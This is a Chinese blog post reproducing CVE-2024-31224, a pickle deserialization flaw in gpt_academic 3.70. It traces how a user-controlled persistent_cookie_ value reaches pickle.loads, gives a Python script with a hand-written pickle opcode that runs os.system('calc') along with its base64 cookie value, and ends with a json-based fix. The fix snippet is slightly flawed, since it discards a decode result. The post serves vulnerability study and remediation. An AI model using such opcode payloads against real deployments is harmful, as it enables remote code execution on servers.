CVE-2024-31224复现

CVE-2024-31224

环境搭建

漏洞项目地址:https://github.com/binary-husky/gpt_academic/releases/tag/version3.70

安装依赖和源码

image-20241128102416856

image-20241127222242290

配置相关的config

image-20241128102456945

运行环境

image-20241128102612414

image-20241128102702746

漏洞点分析

theme.py

image-20241128174134470

这里的pickle.loads函数可加载的是形参C的string,也就是将他们unpickle了之后,可以加载我们恶意的opcode

main.py

image-20241128174710346

这里的persistent_cookie_实际上就是我们的可控参数,我们可以通过通过给这个参数传参,实现参数可控然后就可以通过自己手写opcode,实现我们的pickle反序列化实现rce

界面操作

image-20241128180211151

通过刚刚对源码的分析,我们可以发现需要触发我们的自定义菜单之后,然后在通过函数生成我们的persistent_cookie_这个值

我们点击那个确认保存按钮之后就可以发现我们cookie生成了,然后我们就直接开始写python生成我们的pickel脚本

image-20241128181142981

python脚本

import base64
import pickle

def from_cookie_str(c):
    # Decode the base64-encoded string and unpickle it into a dictionary
    pickled_dict = base64.b64decode(c.encode("utf-8"))
    return pickle.loads(pickled_dict)

opcode=b'''cos
system
(S'calc'
tR.'''
opcode = base64.b64encode(opcode).decode("utf-8")
print(opcode)
from_cookie_str(opcode)

Y29zCnN5c3RlbQooUydjYWxjJwp0Ui4=

image-20241128181405774

漏洞修复

我们可以使用其他的方式来解决,利用json来代替pickle,反序列化一个python字典,这样就可以代替pickle的作用

def from_cookie_str(c):    
   # Decode the base64-encoded string and unserialize it into a dictionary
    serialized_dict = base64.b64decode(c.encode("utf-8"))
    serialized_dict.decode("utf-8")
    return json.loads(serialized_dict)
posted @ 2024-12-17 22:49  tammy66  阅读(45)  评论(0)    收藏  举报